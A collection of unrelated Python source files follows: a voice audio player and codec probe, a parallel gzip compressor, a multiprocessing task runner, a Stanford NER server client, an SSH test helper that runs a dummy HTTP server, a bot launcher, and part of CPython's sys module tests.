if probefunc is cls._probe_codec_native:
fallback = cls._probe_codec_fallback
elif callable(method):
probefunc = method
fallback = cls._probe_codec_fallback
else:
raise TypeError("Expected str or callable for parameter 'probe', " \
f"not '{method.__class__.__name__}'")
codec = bitrate = None
loop = asyncio.get_event_loop()
try:
codec, bitrate = await loop.run_in_executor(None, lambda: probefunc(source, executable)) # type: ignore
except Exception:
if not fallback:
_log.exception("Probe '%s' using '%s' failed", method, executable)
return # type: ignore
_log.exception("Probe '%s' using '%s' failed, trying fallback", method, executable)
try:
codec, bitrate = await loop.run_in_executor(None, lambda: fallback(source, executable)) # type: ignore
except Exception:
_log.exception("Fallback probe using '%s' failed", executable)
else:
_log.info("Fallback probe found codec=%s, bitrate=%s", codec, bitrate)
else:
_log.info("Probe found codec=%s, bitrate=%s", codec, bitrate)
finally:
return codec, bitrate
@staticmethod
def _probe_codec_native(source, executable: str = 'ffmpeg') -> Tuple[Optional[str], Optional[int]]:
exe = executable[:2] + 'probe' if executable in ('ffmpeg', 'avconv') else executable
args = [exe, '-v', 'quiet', '-print_format', 'json', '-show_streams', '-select_streams', 'a:0', source]
output = subprocess.check_output(args, timeout=20)
codec = bitrate = None
if output:
data = json.loads(output)
streamdata = data['streams'][0]
codec = streamdata.get('codec_name')
bitrate = int(streamdata.get('bit_rate', 0))
bitrate = max(round(bitrate/1000), 512)
return codec, bitrate
@staticmethod
def _probe_codec_fallback(source, executable: str = 'ffmpeg') -> Tuple[Optional[str], Optional[int]]:
args = [executable, '-hide_banner', '-i', source]
proc = subprocess.Popen(args, creationflags=CREATE_NO_WINDOW, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
out, _ = proc.communicate(timeout=20)
output = out.decode('utf8')
codec = bitrate = None
codec_match = re.search(r"Stream #0.*?Audio: (\w+)", output)
if codec_match:
codec = codec_match.group(1)
br_match = re.search(r"(\d+) [kK]b/s", output)
if br_match:
bitrate = max(int(br_match.group(1)), 512)
return codec, bitrate
def read(self) -> bytes:
return next(self._packet_iter, b'')
def is_opus(self) -> bool:
return True
class PCMVolumeTransformer(AudioSource, Generic[AT]):
"""Transforms a previous :class:`AudioSource` to have volume controls.
This does not work on audio sources that have :meth:`AudioSource.is_opus`
set to ``True``.
Parameters
------------
original: :class:`AudioSource`
The original AudioSource to transform.
volume: :class:`float`
The initial volume to set it to.
See :attr:`volume` for more info.
Raises
-------
TypeError
Not an audio source.
ClientException
The audio source is opus encoded.
"""
def __init__(self, original: AT, volume: float = 1.0):
if not isinstance(original, AudioSource):
raise TypeError(f'expected AudioSource not {original.__class__.__name__}.')
if original.is_opus():
raise ClientException('AudioSource must not be Opus encoded.')
self.original: AT = original
self.volume = volume
@property
def volume(self) -> float:
"""Retrieves or sets the volume as a floating point percentage (e.g. ``1.0`` for 100%)."""
return self._volume
@volume.setter
def volume(self, value: float) -> None:
self._volume = max(value, 0.0)
def cleanup(self) -> None:
self.original.cleanup()
def read(self) -> bytes:
ret = self.original.read()
return audioop.mul(ret, 2, min(self._volume, 2.0))
class AudioPlayer(threading.Thread):
DELAY: float = OpusEncoder.FRAME_LENGTH / 1000.0
def __init__(self, source: AudioSource, client: VoiceClient, *, after=None):
threading.Thread.__init__(self)
self.daemon: bool = True
self.source: AudioSource = source
self.client: VoiceClient = client
self.after: Optional[Callable[[Optional[Exception]], Any]] = after
self._end: threading.Event = threading.Event()
self._resumed: threading.Event = threading.Event()
self._resumed.set() # we are not paused
self._current_error: Optional[Exception] = None
self._connected: threading.Event = client._connected
self._lock: threading.Lock = threading.Lock()
if after is not None and not callable(after):
raise TypeError('Expected a callable for the "after" parameter.')
def _do_run(self) -> None:
self.loops = 0
self._start = time.perf_counter()
# getattr lookup speed ups
play_audio = self.client.send_audio_packet
self._speak(True)
while not self._end.is_set():
# are we paused?
if not self._resumed.is_set():
# wait until we aren't
self._resumed.wait()
continue
# are we disconnected from voice?
if not self._connected.is_set():
# wait until we are connected
self._connected.wait()
# reset our internal data
self.loops = 0
self._start = time.perf_counter()
self.loops += 1
data = self.source.read()
if not data:
self.stop()
break
play_audio(data, encode=not self.source.is_opus())
next_time = self._start + self.DELAY * self.loops
delay = max(0, self.DELAY + (next_time - time.perf_counter()))
time.sleep(delay)
def run(self) -> None:
try:
self._do_run()
except Exception as exc:
self._current_error = exc
self.stop()
finally:
self.source.cleanup()
self._call_after()
def _call_after(self) -> None:
error = self._current_error
if self.after is not None:
try:
self.after(error)
except Exception as exc:
_log.exception('Calling the after function failed.')
exc.__context__ = error
traceback.print_exception(type(exc), exc, exc.__traceback__)
elif error:
msg = f'Exception in voice thread {self.name}'
_log.exception(msg, exc_info=error)
print(msg, file=sys.stderr)
traceback.print_exception(type(error), error, error.__traceback__)
def stop(self) -> None:
self._end.set()
self._resumed.set()
self._speak(False)
def pause(self, *, update_speaking: bool = True) -> None:
self._resumed.clear()
if update_speaking:
self._speak(False)
def resume(self, *, update_speaking: bool = True) -> None:
self.loops = 0
self._start = time.perf_counter()
self._resumed.set()
if update_speaking:
self._speak(True)
def is_playing(self) -> bool:
return self._resumed.is_set() and not self._end.is_set()
def is_paused(self) -> bool:
return not self._end.is_set() and not self._resumed.is_set()
def _set_source(self, source: AudioSource) -> None:
with self._lock:
self.pause(update_speaking=False)
self.source = source
self.resume(update_speaking=False)
def _speak(self, speaking: bool) -> None:
try:
asyncio.run_coroutine_threadsafe(self.client.ws.speak(speaking), self.client.loop)
except Exception as e:
_log.info("Speaking call in player failed: %s", e)
|
pigz_python.py | """
Functions and classes to speed up compression of files by utilizing
multiple cores on a system.
"""
import os
import sys
import time
import zlib
from multiprocessing.dummy import Pool
from pathlib import Path
from queue import PriorityQueue
from threading import Lock, Thread
CPU_COUNT = os.cpu_count()
DEFAULT_BLOCK_SIZE_KB = 128
# 1 is fastest but worst, 9 is slowest but best
GZIP_COMPRESS_OPTIONS = list(range(1, 9 + 1))
_COMPRESS_LEVEL_BEST = max(GZIP_COMPRESS_OPTIONS)
# FLG bits
FTEXT = 0x1
FHCRC = 0x2
FEXTRA = 0x4
FNAME = 0x8
FCOMMENT = 0x10
class PigzFile: # pylint: disable=too-many-instance-attributes
""" Class to implement Pigz functionality in Python """
def __init__(
self,
compression_target,
compresslevel=_COMPRESS_LEVEL_BEST,
blocksize=DEFAULT_BLOCK_SIZE_KB,
workers=CPU_COUNT,
):
"""
Take in a file or directory and gzip using multiple system cores.
"""
self.compression_target = Path(compression_target)
self.compression_level = compresslevel
self.blocksize = blocksize * 1000
self.workers = workers
self.output_file = None
self.output_filename = None
# This is how we know if we're done reading, compressing, & writing the file
self._last_chunk = -1
self._last_chunk_lock = Lock()
# This is calculated as data is written out
self.checksum = 0
# This is calculated as data is read in
self.input_size = 0
self.chunk_queue = PriorityQueue()
if Path(compression_target).is_dir():
raise NotImplementedError
if not Path(compression_target).exists():
raise FileNotFoundError
# Setup the system threads for compression
self.pool = Pool(processes=self.workers)
# Setup read thread
self.read_thread = Thread(target=self._read_file)
# Setup write thread
self.write_thread = Thread(target=self._write_file)
def process_compression_target(self):
"""
Setup output file.
Start read and write threads.
Join to write thread.
"""
self._setup_output_file()
# Start the write thread first so it's ready to accept data
self.write_thread.start()
# Start the read thread
self.read_thread.start()
# Block until writing is complete
# This prevents us from returning prior to the work being done
self.write_thread.join()
def _set_output_filename(self):
"""
Set the output filename based on the input filename
"""
base = Path(self.compression_target).name
self.output_filename = base + ".gz"
def _write_output_header(self):
"""
Write gzip header to file
See RFC documentation: http://www.zlib.org/rfc-gzip.html#header-trailer
"""
self._write_header_id()
self._write_header_cm()
# We must first figure out if we can write out the filename before writing FLG
fname = self._determine_fname(self.compression_target)
flags = 0x0
if fname:
flags = flags | FNAME
self._write_header_flg(flags)
self._write_header_mtime()
self._write_header_xfl()
self._write_header_os()
# After this point, content of flags (FLG) determines what (if anything)
# we write to header
if flags & FNAME:
# Write the FNAME
self.output_file.write(fname)
def _write_header_id(self):
"""
Write ID (IDentification) ID1, then ID2 to file header
These denote the file as being gzip format
"""
self.output_file.write((0x1F).to_bytes(1, sys.byteorder))
self.output_file.write((0x8B).to_bytes(1, sys.byteorder))
def _write_header_cm(self):
""" Write the CM (compression method) to file header """
self.output_file.write((8).to_bytes(1, sys.byteorder))
def _write_header_flg(self, flags):
""" Write FLG (FLaGs) """
self.output_file.write((flags).to_bytes(1, sys.byteorder))
def _write_header_mtime(self):
""" Write MTIME (Modification time) """
mtime = self._determine_mtime()
self.output_file.write((mtime).to_bytes(4, sys.byteorder))
def _write_header_xfl(self):
""" Write XFL (eXtra FLags) """
extra_flags = self._determine_extra_flags(self.compression_level)
self.output_file.write((extra_flags).to_bytes(1, sys.byteorder))
def _write_header_os(self):
""" Write OS """
os_number = self._determine_operating_system()
self.output_file.write((os_number).to_bytes(1, sys.byteorder))
def _setup_output_file(self):
"""
Setup the output file
"""
self._set_output_filename()
full_path = Path(self.compression_target.parent, self.output_filename)
self.output_file = open(full_path, "wb")
self._write_output_header()
def _determine_mtime(self):
"""
Determine MTIME to write out in Unix format (seconds since Unix epoch).
From http://www.zlib.org/rfc-gzip.html#header-trailer:
If the compressed data did not come from a file, MTIME is set to the time at
which compression started.
MTIME = 0 means no time stamp is available.
"""
try:
return int(os.stat(self.compression_target).st_mtime)
except Exception: # pylint: disable=broad-except
return int(time.time())
@staticmethod
def _determine_extra_flags(compression_level):
"""
Determine the XFL or eXtra FLags value based on compression level.
Note this is copied from the pigz implementation.
"""
return 2 if compression_level >= 9 else 4 if compression_level == 1 else 0
@staticmethod
def _determine_operating_system():
"""
Return appropriate number based on OS format.
0 - FAT filesystem (MS-DOS, OS/2, NT/Win32)
1 - Amiga
2 - VMS (or OpenVMS)
3 - Unix
4 - VM/CMS
5 - Atari TOS
6 - HPFS filesystem (OS/2, NT)
7 - Macintosh
8 - Z-System
9 - CP/M
10 - TOPS-20
11 - NTFS filesystem (NT)
12 - QDOS
13 - Acorn RISCOS
255 - unknown
"""
if sys.platform.startswith(("freebsd", "linux", "aix", "darwin")):
return 3
if sys.platform.startswith(("win32")):
return 0
return 255
@staticmethod
def _determine_fname(input_filename):
"""
Determine the FNAME (filename) of the source file to the output
"""
try:
# RFC 1952 requires the FNAME field to be Latin-1. Do not
# include filenames that cannot be represented that way.
fname = Path(input_filename).name
if not isinstance(fname, bytes):
fname = fname.encode("latin-1")
if fname.endswith(b".gz"):
fname = fname[:-3]
# Terminate with zero byte
fname += b"\0"
except UnicodeEncodeError:
fname = b""
return fname
def _read_file(self):
"""
Read {filename} in {blocksize} chunks.
This method is run on the read thread.
"""
# Initialize this to 0 so our increment sets first chunk to 1
chunk_num = 0
with open(self.compression_target, "rb") as input_file:
while True:
chunk = input_file.read(self.blocksize)
# Break out of the loop if we didn't read anything
if not chunk:
with self._last_chunk_lock:
self._last_chunk = chunk_num
break
self.input_size += len(chunk)
chunk_num += 1
# Apply this chunk to the pool
self.pool.apply_async(self._process_chunk, (chunk_num, chunk))
def _process_chunk(self, chunk_num: int, chunk: bytes):
"""
Overall method to handle the chunk and pass it back to the write thread.
This method is run on the pool.
"""
with self._last_chunk_lock:
last_chunk = chunk_num == self._last_chunk
compressed_chunk = self._compress_chunk(chunk, last_chunk)
self.chunk_queue.put((chunk_num, chunk, compressed_chunk))
def _compress_chunk(self, chunk: bytes, is_last_chunk: bool):
"""
Compress the chunk.
"""
compressor = zlib.compressobj(
level=self.compression_level,
method=zlib.DEFLATED,
wbits=-zlib.MAX_WBITS,
memLevel=zlib.DEF_MEM_LEVEL,
strategy=zlib.Z_DEFAULT_STRATEGY,
)
compressed_data = compressor.compress(chunk)
if is_last_chunk:
compressed_data += compressor.flush(zlib.Z_FINISH)
else:
compressed_data += compressor.flush(zlib.Z_SYNC_FLUSH)
return compressed_data
def _write_file(self):
"""
Write compressed data to disk.
Read chunks off of the priority queue.
Priority is the chunk number, so we can keep track of which chunk to get next.
This is run from the write thread.
"""
next_chunk_num = 1
while True:
if not self.chunk_queue.empty():
chunk_num, chunk, compressed_chunk = self.chunk_queue.get()
if chunk_num != next_chunk_num:
# If this isn't the next chunk we're looking for,
# place it back on the queue and sleep
self.chunk_queue.put((chunk_num, chunk, compressed_chunk))
time.sleep(0.5)
else:
# Calculate running checksum
self.calculate_chunk_check(chunk)
# Write chunk to file, advance next chunk we're looking for
self.output_file.write(compressed_chunk)
# If this was the last chunk,
# we can break the loop and close the file
if chunk_num == self._last_chunk:
break
next_chunk_num += 1
else:
# If the queue is empty, we're likely waiting for data.
time.sleep(0.5)
# Loop breaks out if we've received the final chunk
self.clean_up()
def calculate_chunk_check(self, chunk: bytes):
"""
Calculate the check value for the chunk.
"""
self.checksum = zlib.crc32(chunk, self.checksum)
def clean_up(self):
"""
Close the output file.
Clean up the processing pool.
"""
self.write_file_trailer()
# Flush internal buffers
self.output_file.flush()
self.output_file.close()
self._close_workers()
def write_file_trailer(self):
"""
Write the trailer for the compressed data.
"""
# Write CRC32
self.output_file.write((self.checksum).to_bytes(4, sys.byteorder))
# Write ISIZE (Input SIZE)
# This contains the size of the original (uncompressed) input data modulo 2^32.
self.output_file.write(
(self.input_size & 0xFFFFFFFF).to_bytes(4, sys.byteorder)
)
def _close_workers(self):
"""
Close compression thread pool.
"""
self.pool.close()
self.pool.join()
def compress_file(
source_file,
compresslevel=_COMPRESS_LEVEL_BEST,
blocksize=DEFAULT_BLOCK_SIZE_KB,
workers=CPU_COUNT,
):
""" Helper function to call underlying class and compression method """
pigz_file = PigzFile(source_file, compresslevel, blocksize, workers)
pigz_file.process_compression_target()
|
ParallelTasks.py | # Copyright 2016, EMC, Inc.
import datetime
import os
import sys
if os.name == 'posix' and sys.version_info[0] < 3:
import subprocess32 as subprocess
else:
import subprocess
import multiprocessing
class ParallelTasks(object):
"""
Run a set of tasks in parallel, collecting the output from each task (stdout & stderr), along
with the process exit code, the child process ID and the start/end/elapsed time of each task.
This class is intended to be subclassed, where the subclass will provide the specific code
to be run for each task. The do_one_task method will be called once per task, in a child
process. Various timing and other housekeeping results will be collected without the
assistance of the do_one_task method.
All results will be returned in a dictionary shared amongst all processes. The do_one_task
should populate the passed in results dictionary, which will then be collected by the parent
and saved per-child, using the passed in task name as the key.
"""
def __init__(self, job_count):
if job_count < 1:
job_count = 1
self._notification_queue = multiprocessing.JoinableQueue()
self._manager = multiprocessing.Manager()
self._shared_results = self._manager.dict()
self._processes = [multiprocessing.Process(target=self._run_task_queue)
for i in range(job_count)
]
for process in self._processes:
process.start()
def get_results(self):
"""
Return the current result status from all subprocesses that have completed
:return: subprocess results, keyed via 'name' passed in to add_task
"""
return self._shared_results
def add_task(self, data, name):
"""
Initiate the checkout process -- this notifies the worker queue that a
specific repository needs to be checked out
:param data: arbitrary data to be passed to a worker child process
:param name: the key by which this data's job results will be returned
"""
if data is None or name is None:
raise ValueError ("no task parameter may be none")
if self._notification_queue is None:
raise RuntimeError("no notification queue available")
self._notification_queue.put((name, data))
def _run_task_queue(self):
"""
Continually check the notification queue for work to do, and then do it
:return:
This function will run forever. When there are no more items in the work queue,
the main process will terminate all of the child processes, which will all be waiting
on Queue.get() to return a value (which won't be coming)
"""
while True:
(name,data) = self._notification_queue.get()
if name is None or data is None:
raise ValueError("will not run a job without name or data")
results = { 'task': {}}
results['task']['start_time'] = datetime.datetime.now()
results['task']['name'] = name
results['task']['pid'] = os.getpid()
results['task']['ppid'] = os.getppid()
try:
self.do_one_task(name, data, results)
except Exception as ex: # pylint: disable=broad-except
results['exception'] = ex
results['status'] = 'exception'
except: # catch *all* exceptions # pylint: disable=bare-except
results['error'] = sys.exc_info()[0]
results['status'] = 'error'
self._shared_results[name] = results
results['task']['end_time'] = datetime.datetime.now()
results['task']['elapsed_time'] = results['task']['end_time'] - results['task']['start_time']
self._notification_queue.task_done()
def do_one_task(self, name, data, results):
"""
Perform the actual work. This portion of the task is performed in a
subprocess, and may be performed in parallel with other instances.
The specific data to be passed to the child process is passed in via data.
Results should be returned via the results dictionary parameter, and should be
entesavedred via a key named by name. The resulting data will normally
be a dictionary of multiple values
:return: any calculated results via results dictionary
"""
# example usage might be
# results[name]['value'] = calculate_value_from(data)
raise NotImplementedError("__do_one_task must be implemented by a subclass")
def finish(self):
"""
Wait for all of the subprocesses to complete all assigned tasks.
:return: none
"""
# Block until all items in the queue have been gotten and processed.
self._notification_queue.join()
# so now we can do through all of the child processes and stop them
# (extreme prejudice is okay, since all work has been performed and they're
# just waiting on the queue.get() operation).
for process in self._processes:
process.terminate()
|
ner.py | import os
import socket
import subprocess
from contextlib import contextmanager, closing
from threading import Thread
from time import sleep
from cltl.triple_extraction import logger
class NER(object):
ROOT = os.path.join(os.path.dirname(__file__), '../stanford-ner')
IP = 'localhost'
def __init__(self, classifier='english.all.3class.distsim.crf.ser'):
self._log = logger.getChild(self.__class__.__name__)
self._port = self._find_free_port()
self._ner_server_process = None
self._ner_server_thread = Thread(target=self._start_server, args=(classifier,))
self._ner_server_thread.daemon = True
self._ner_server_thread.start()
self._log.debug("Booted NER: ({}:{})".format(self.IP, self._port))
def tag(self, text):
with self._connect() as s:
s.send((text.strip() + '\n').encode('utf-8'))
return [
tuple(s.rsplit('/', 1))
for s in self._recv_all(s).replace('\n', '').strip().split(' ')
if len(s.rsplit('/', 1)) == 2
]
def close(self):
self._ner_server_process.kill()
def _start_server(self, classifier):
self._ner_server_process = subprocess.Popen([
'java', '-cp', os.path.join(NER.ROOT, 'stanford-ner.jar'), 'edu.stanford.nlp.ie.NERServer',
'-port', str(self._port), '-loadClassifier', os.path.join(NER.ROOT, classifier)],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
with self._ner_server_process.stdout:
self._log_subprocess_output(self._ner_server_process.stdout)
def _log_subprocess_output(self, pipe):
for line in iter(pipe.readline, b''):
line = line.decode()
self._log.debug(line.replace('\n', ''))
def _find_free_port(self):
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(('', 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return s.getsockname()[1]
@contextmanager
def _connect(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while sock.connect_ex((self.IP, self._port)):
sleep(0.1)
yield sock
finally:
try:
sock.shutdown(socket.SHUT_RDWR)
except Exception as e:
self._log.error("Couldn't connect to Java NER Server. Do you have Java installed?")
self._log.error(e)
finally:
sock.close()
def _recv_all(self, socket):
buffer = bytearray()
while True:
data = socket.recv(4096)
if not data: break
buffer.extend(data)
return buffer.decode('utf-8')
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.close()
|
run_dummy_server.py | from threading import Thread
from time import sleep
from tests.helpers.paramiko_connect import paramiko_connect
def run_dummy_server(user: str,
server_port: int,
timeout: float):
"""Runs a simple HTTP server on the testing container as the given user.
:param user: User to run the server as.
:param server_port: Remote server port.
:param timeout: Time to run the server for in seconds.
"""
with paramiko_connect(user=user) as ssh:
try:
ssh.exec_command(
"python -m SimpleHTTPServer {server_port}".format(
server_port=server_port))
sleep(timeout)
finally:
ssh.exec_command("kill"
" `ps -U $USER"
" | grep python"
" | awk '{ print $1 }'`")
STARTUP_TIME = 1
def start_dummy_server_thread(user: str,
server_port: int,
timeout: float = 5) -> Thread:
"""Runs a simple HTTP server on the cluster by starting it and stopping
after a while, in a separate thread.
See :func:`run_dummy_server`.
:param user: User to run the server as.
:param server_port: Remote server port.
:param timeout: Time to run the server for in seconds.
"""
server = Thread(target=run_dummy_server, args=(user, server_port, timeout))
server.start()
sleep(STARTUP_TIME)
return server
|
main.py | from core import bot
from core.web import run, stay_alive
from threading import Thread
site_thread = Thread(target=run)
ping_thread = Thread(target=stay_alive)
self = bot.BreadBot()
site_thread.start()
ping_thread.start()
self.run() |
test_sys.py | import unittest, test.support
from test.support.script_helper import assert_python_ok, assert_python_failure
import sys, io, os
import struct
import subprocess
import textwrap
import warnings
import operator
import codecs
import gc
import sysconfig
import locale
import threading
# count the number of test runs, used to create unique
# strings to intern in test_intern()
numruns = 0
class SysModuleTest(unittest.TestCase):
def setUp(self):
self.orig_stdout = sys.stdout
self.orig_stderr = sys.stderr
self.orig_displayhook = sys.displayhook
def tearDown(self):
sys.stdout = self.orig_stdout
sys.stderr = self.orig_stderr
sys.displayhook = self.orig_displayhook
test.support.reap_children()
def test_original_displayhook(self):
import builtins
out = io.StringIO()
sys.stdout = out
dh = sys.__displayhook__
self.assertRaises(TypeError, dh)
if hasattr(builtins, "_"):
del builtins._
dh(None)
self.assertEqual(out.getvalue(), "")
self.assertTrue(not hasattr(builtins, "_"))
dh(42)
self.assertEqual(out.getvalue(), "42\n")
self.assertEqual(builtins._, 42)
del sys.stdout
self.assertRaises(RuntimeError, dh, 42)
def test_lost_displayhook(self):
del sys.displayhook
code = compile("42", "<string>", "single")
self.assertRaises(RuntimeError, eval, code)
def test_custom_displayhook(self):
def baddisplayhook(obj):
raise ValueError
sys.displayhook = baddisplayhook
code = compile("42", "<string>", "single")
self.assertRaises(ValueError, eval, code)
def test_original_excepthook(self):
err = io.StringIO()
sys.stderr = err
eh = sys.__excepthook__
self.assertRaises(TypeError, eh)
try:
raise ValueError(42)
except ValueError as exc:
eh(*sys.exc_info())
self.assertTrue(err.getvalue().endswith("ValueError: 42\n"))
def test_excepthook(self):
with test.support.captured_output("stderr") as stderr:
sys.excepthook(1, '1', 1)
self.assertTrue("TypeError: print_exception(): Exception expected for " \
"value, str found" in stderr.getvalue())
# FIXME: testing the code for a lost or replaced excepthook in
# Python/pythonrun.c::PyErr_PrintEx() is tricky.
def test_exit(self):
# call with two arguments
self.assertRaises(TypeError, sys.exit, 42, 42)
# call without argument
with self.assertRaises(SystemExit) as cm:
sys.exit()
self.assertIsNone(cm.exception.code)
rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()')
self.assertEqual(rc, 0)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
# call with integer argument
with self.assertRaises(SystemExit) as cm:
sys.exit(42)
self.assertEqual(cm.exception.code, 42)
# call with tuple argument with one entry
# entry will be unpacked
with self.assertRaises(SystemExit) as cm:
sys.exit((42,))
self.assertEqual(cm.exception.code, 42)
# call with string argument
with self.assertRaises(SystemExit) as cm:
sys.exit("exit")
self.assertEqual(cm.exception.code, "exit")
# call with tuple argument with two entries
with self.assertRaises(SystemExit) as cm:
sys.exit((17, 23))
self.assertEqual(cm.exception.code, (17, 23))
# test that the exit machinery handles SystemExits properly
rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)')
self.assertEqual(rc, 47)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
def check_exit_message(code, expected, **env_vars):
rc, out, err = assert_python_failure('-c', code, **env_vars)
self.assertEqual(rc, 1)
self.assertEqual(out, b'')
self.assertTrue(err.startswith(expected),
"%s doesn't start with %s" % (ascii(err), ascii(expected)))
# test that stderr buffer is flushed before the exit message is written
# into stderr
check_exit_message(
r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")',
b"unflushed,message")
# test that the exit message is written with backslashreplace error
# handler to stderr
check_exit_message(
r'import sys; sys.exit("surrogates:\uDCFF")',
b"surrogates:\\udcff")
# test that the unicode message is encoded to the stderr encoding
# instead of the default encoding (utf8)
check_exit_message(
r'import sys; sys.exit("h\xe9")',
b"h\xe9", PYTHONIOENCODING='latin-1')
def test_getdefaultencoding(self):
self.assertRaises(TypeError, sys.getdefaultencoding, 42)
# can't check more than the type, as the user might have changed it
self.assertIsInstance(sys.getdefaultencoding(), str)
# testing sys.settrace() is done in test_sys_settrace.py
# testing sys.setprofile() is done in test_sys_setprofile.py
def test_setcheckinterval(self):
with warnings.catch_warnings():
warnings.simplefilter("ignore")
self.assertRaises(TypeError, sys.setcheckinterval)
orig = sys.getcheckinterval()
for n in 0, 100, 120, orig: # orig last to restore starting state
sys.setcheckinterval(n)
self.assertEqual(sys.getcheckinterval(), n)
def test_switchinterval(self):
self.assertRaises(TypeError, sys.setswitchinterval)
self.assertRaises(TypeError, sys.setswitchinterval, "a")
self.assertRaises(ValueError, sys.setswitchinterval, -1.0)
self.assertRaises(ValueError, sys.setswitchinterval, 0.0)
orig = sys.getswitchinterval()
# sanity check
self.assertTrue(orig < 0.5, orig)
try:
for n in 0.00001, 0.05, 3.0, orig:
sys.setswitchinterval(n)
self.assertAlmostEqual(sys.getswitchinterval(), n)
finally:
sys.setswitchinterval(orig)
def test_recursionlimit(self):
self.assertRaises(TypeError, sys.getrecursionlimit, 42)
oldlimit = sys.getrecursionlimit()
self.assertRaises(TypeError, sys.setrecursionlimit)
self.assertRaises(ValueError, sys.setrecursionlimit, -42)
sys.setrecursionlimit(10000)
self.assertEqual(sys.getrecursionlimit(), 10000)
sys.setrecursionlimit(oldlimit)
def test_recursionlimit_recovery(self):
if hasattr(sys, 'gettrace') and sys.gettrace():
self.skipTest('fatal error if run with a trace function')
oldlimit = sys.getrecursionlimit()
def f():
f()
try:
for depth in (10, 25, 50, 75, 100, 250, 1000):
try:
sys.setrecursionlimit(depth)
except RecursionError:
# Issue #25274: The recursion limit is too low at the
# current recursion depth
continue
# Issue #5392: test stack overflow after hitting recursion
# limit twice
self.assertRaises(RecursionError, f)
self.assertRaises(RecursionError, f)
finally:
sys.setrecursionlimit(oldlimit)
@test.support.cpython_only
def test_setrecursionlimit_recursion_depth(self):
# Issue #25274: Setting a low recursion limit must be blocked if the
# current recursion depth is already higher than the "lower-water
# mark". Otherwise, it may not be possible anymore to
# reset the overflowed flag to 0.
from _testcapi import get_recursion_depth
def set_recursion_limit_at_depth(depth, limit):
recursion_depth = get_recursion_depth()
if recursion_depth >= depth:
with self.assertRaises(RecursionError) as cm:
sys.setrecursionlimit(limit)
self.assertRegex(str(cm.exception),
"cannot set the recursion limit to [0-9]+ "
"at the recursion depth [0-9]+: "
"the limit is too low")
else:
set_recursion_limit_at_depth(depth, limit)
oldlimit = sys.getrecursionlimit()
try:
sys.setrecursionlimit(1000)
for limit in (10, 25, 50, 75, 100, 150, 200):
# formula extracted from _Py_RecursionLimitLowerWaterMark()
if limit > 200:
depth = limit - 50
else:
depth = limit * 3 // 4
set_recursion_limit_at_depth(depth, limit)
finally:
sys.setrecursionlimit(oldlimit)
def test_recursionlimit_fatalerror(self):
# A fatal error occurs if a second recursion limit is hit when recovering
# from a first one.
code = textwrap.dedent("""
import sys
def f():
try:
f()
except RecursionError:
f()
sys.setrecursionlimit(%d)
f()""")
with test.support.SuppressCrashReport():
for i in (50, 1000):
sub = subprocess.Popen([sys.executable, '-c', code % i],
stderr=subprocess.PIPE)
err = sub.communicate()[1]
self.assertTrue(sub.returncode, sub.returncode)
self.assertIn(
b"Fatal Python error: Cannot recover from stack overflow",
err)
def test_getwindowsversion(self):
# Raise SkipTest if sys doesn't have getwindowsversion attribute
test.support.get_attribute(sys, "getwindowsversion")
v = sys.getwindowsversion()
self.assertEqual(len(v), 5)
self.assertIsInstance(v[0], int)
self.assertIsInstance(v[1], int)
self.assertIsInstance(v[2], int)
self.assertIsInstance(v[3], int)
self.assertIsInstance(v[4], str)
self.assertRaises(IndexError, operator.getitem, v, 5)
self.assertIsInstance(v.major, int)
self.assertIsInstance(v.minor, int)
self.assertIsInstance(v.build, int)
self.assertIsInstance(v.platform, int)
self.assertIsInstance(v.service_pack, str)
self.assertIsInstance(v.service_pack_minor, int)
self.assertIsInstance(v.service_pack_major, int)
self.assertIsInstance(v.suite_mask, int)
self.assertIsInstance(v.product_type, int)
self.assertEqual(v[0], v.major)
self.assertEqual(v[1], v.minor)
self.assertEqual(v[2], v.build)
self.assertEqual(v[3], v.platform)
self.assertEqual(v[4], v.service_pack)
# This is how platform.py calls it. Make sure tuple
# still has 5 elements
maj, min, buildno, plat, csd = sys.getwindowsversion()
def test_call_tracing(self):
self.assertRaises(TypeError, sys.call_tracing, type, 2)
@unittest.skipUnless(hasattr(sys, "setdlopenflags"),
'test needs sys.setdlopenflags()')
def test_dlopenflags(self):
self.assertTrue(hasattr(sys, "getdlopenflags"))
self.assertRaises(TypeError, sys.getdlopenflags, 42)
oldflags = sys.getdlopenflags()
self.assertRaises(TypeError, sys.setdlopenflags)
sys.setdlopenflags(oldflags+1)
self.assertEqual(sys.getdlopenflags(), oldflags+1)
sys.setdlopenflags(oldflags)
@test.support.refcount_test
def test_refcount(self):
# n here must be a global in order for this test to pass while
# tracing with a python function. Tracing calls PyFrame_FastToLocals
# which will add a copy of any locals to the frame object, causing
# the reference count to increase by 2 instead of 1.
global n
self.assertRaises(TypeError, sys.getrefcount)
c = sys.getrefcount(None)
n = None
self.assertEqual(sys.getrefcount(None), c+1)
del n
self.assertEqual(sys.getrefcount(None), c)
if hasattr(sys, "gettotalrefcount"):
self.assertIsInstance(sys.gettotalrefcount(), int)
def test_getframe(self):
self.assertRaises(TypeError, sys._getframe, 42, 42)
self.assertRaises(ValueError, sys._getframe, 2000000000)
self.assertTrue(
SysModuleTest.test_getframe.__code__ \
is sys._getframe().f_code
)
# sys._current_frames() is a CPython-only gimmick.
@test.support.reap_threads
def test_current_frames(self):
import threading
import traceback
# Spawn a thread that blocks at a known place. Then the main
# thread does sys._current_frames(), and verifies that the frames
# returned make sense.
entered_g = threading.Event()
leave_g = threading.Event()
thread_info = [] # the thread's id
def f123():
g456()
def g456():
thread_info.append(threading.get_ident())
entered_g.set()
leave_g.wait()
t = threading.Thread(target=f123)
t.start()
entered_g.wait()
# At this point, t has finished its entered_g.set(), although it's
# impossible to guess whether it's still on that line or has moved on
# to its leave_g.wait().
self.assertEqual(len(thread_info), 1)
thread_id = thread_info[0]
d = sys._current_frames()
for tid in d:
self.assertIsInstance(tid, int)
self.assertGreater(tid, 0)
main_id = threading.get_ident()
self.assertIn(main_id, d)
self.assertIn(thread_id, d)
